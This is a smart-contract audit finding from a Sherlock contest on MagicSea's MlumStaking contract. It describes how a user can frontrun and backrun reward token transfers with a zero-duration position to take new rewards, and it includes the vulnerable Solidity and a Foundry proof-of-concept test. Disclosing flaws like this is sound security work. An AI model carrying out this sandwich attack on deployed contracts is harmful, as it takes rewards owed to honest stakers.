scammed - MlumStaking user can frontrun new reward tokens and harvest immediatelly

[sherlock-admin4]

scammed

High

MlumStaking user can frontrun new reward tokens and harvest immediatelly

Summary

All new rewards can be stolen by sandwiching rewards with 0 lockDuration.

Vulnerability Detail

The way that users in MlumStaking receive rewards is first there should be some reward token transferred to the contract and the next caller will trigger _updatePool function, which will increase the _accRewardsPerShare based on the amount that has been sent and then divided by all the positions in the system.

function _updatePool() internal {
        uint256 accRewardsPerShare = _accRewardsPerShare;
        uint256 rewardBalance = rewardToken.balanceOf(address(this));
        uint256 lastRewardBalance = _lastRewardBalance;

        // recompute accRewardsPerShare if not up to date
        if (lastRewardBalance == rewardBalance || _stakedSupply == 0) {
            return;
        }

        uint256 accruedReward = rewardBalance - lastRewardBalance;
        _accRewardsPerShare = accRewardsPerShare + ((accruedReward * (PRECISION_FACTOR)) / (_stakedSupplyWithMultiplier));

        _lastRewardBalance = rewardBalance;

        emit PoolUpdated(_currentBlockTimestamp(), accRewardsPerShare);
    }

The problem is that this rewardToken transfer can be sandwiched by anyone to harvest immediate rewards. It will happen since there is no minimum lockDuration and positions opened with 0 can be closed right after.

Impact is max when there is sequence of the following actions (note that due to the nature of IotaEVM, deployers will be forced to not submit 2 consecutive transactions for deploy and transferring reward tokens, since it can either fail or send the tokens to wrong address, depending on which transaction will be processed first, this gives the needed time for Alice to insert her tx between the 2):

1. 10e18 rewardTokens are sent, when there are no positions in the contract
2. Alice frontrun step 1 by createPosition with 1 wei and 0 lockDuration

Important variables:

• Alice’s rewardDebt = 0
• Alice’s amountWithMultiplier = 1
• _stakedSupplyWithMultiplier = 1
• _accRewardsPerShare = 0

1. Alice call withdrawFromPosition with 1 wei, and pool is updated:

function _updatePool() internal {
        uint256 accRewardsPerShare = _accRewardsPerShare;
        uint256 rewardBalance = rewardToken.balanceOf(address(this));
        uint256 lastRewardBalance = _lastRewardBalance;

        // recompute accRewardsPerShare if not up to date
        if (lastRewardBalance == rewardBalance || _stakedSupply == 0) {
            return;
        }

        uint256 accruedReward = rewardBalance - lastRewardBalance;// 10e18
		    //@audit 0 + (10e18 * 1e12) / 1 = 10e30
        _accRewardsPerShare = accRewardsPerShare + ((accruedReward * (PRECISION_FACTOR)) / (_stakedSupplyWithMultiplier));

        _lastRewardBalance = rewardBalance;//10e18

        emit PoolUpdated(_currentBlockTimestamp(), accRewardsPerShare);
    }

1. In _harvestPosition the entire rewardToken balance is sent to Alice:

function _harvestPosition(uint256 tokenId, address to) internal {
        StakingPosition storage position = _stakingPositions[tokenId];

        // compute position's pending rewards
        //@audit 1 * 10e30 / 10e12 - 0 = 10e18
        uint256 pending = position.amountWithMultiplier * _accRewardsPerShare / PRECISION_FACTOR - position.rewardDebt;

        // transfer rewards
        if (pending > 0) {
            // send rewards
            _safeRewardTransfer(to, pending);
        }
        emit HarvestPosition(tokenId, to, pending);
    }

1. All new rewardToken transfer can be immediately stolen.

Here is a POC demonstrating how Alice takes the entire balance of rewardToken twice. It can be placed in MlumStaking.t.sol:

function testC1() public {
    _stakingToken.mint(ALICE, 10 ether);

    vm.startPrank(ALICE);
    _stakingToken.approve(address(_pool), 1 ether);
    _pool.createPosition(1 ether, 0);
    vm.stopPrank();

    IMlumStaking.StakingPosition memory pos = _pool.getStakingPosition(1);

    console.log("Rewards after create", _pool.pendingRewards(1));
    console.log("Rewards balance after create", _rewardToken.balanceOf(ALICE));
    console.log(pos.amountWithMultiplier);
    console.log(pos.rewardDebt);
    console.log(_pool._accRewardsPerShare());
    

    _rewardToken.mint(address(_pool), 100000e6);
    console.log("Rewards balance in staking", _rewardToken.balanceOf(address(_pool)));

    vm.prank(ALICE);
    _pool.withdrawFromPosition(1, 1 ether);

    console.log("Rewards balance after withdraw", _rewardToken.balanceOf(ALICE));
    console.log("RRewards balance in staking after", _rewardToken.balanceOf(address(_pool)));
    console.log(_pool._accRewardsPerShare());
    // =======================
    vm.startPrank(ALICE);
    _stakingToken.approve(address(_pool), 1 ether);
    _pool.createPosition(1 ether, 0);
    vm.stopPrank();
    console.log(_pool._accRewardsPerShare());

    _rewardToken.mint(address(_pool), 200e6);
    console.log("Rewards balance in staking", _rewardToken.balanceOf(address(_pool)));

    vm.prank(ALICE);
    _pool.withdrawFromPosition(2, 1 ether);
    console.log("Rewards balance after withdraw", _rewardToken.balanceOf(ALICE));
    console.log("RRewards balance in staking after", _rewardToken.balanceOf(address(_pool)));
    console.log(_pool._accRewardsPerShare());

}

Another possible scenario is when there are already some positions, everyone can sandwich the transferring of rewardToken, creating positions with 0 lockDuration and any satisfying amount of stakedToken, then backrun the transfer by withdraw and close the position taking the difference of previous _accRewardsPerShare and next one updated in _updatePool. This way no one will be incentivized to lock his tokens for any amount of time, when he can simply harvest the position immediately.

It order of events will look like that → MlumStaking::createPosition → rewardToken::transfer(MlumStaking, 1000e18) → MlumStaking::withdrawFromPosition.

Impact

All the rewardTokens can be stolen from the first staker in MlumStaking

Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L354-L390

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L496-L502

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MlumStaking.sol#L674-L686

Tool used

Manual Review

Recommendation

Enforce some minimum stake duration

Duplicate of #74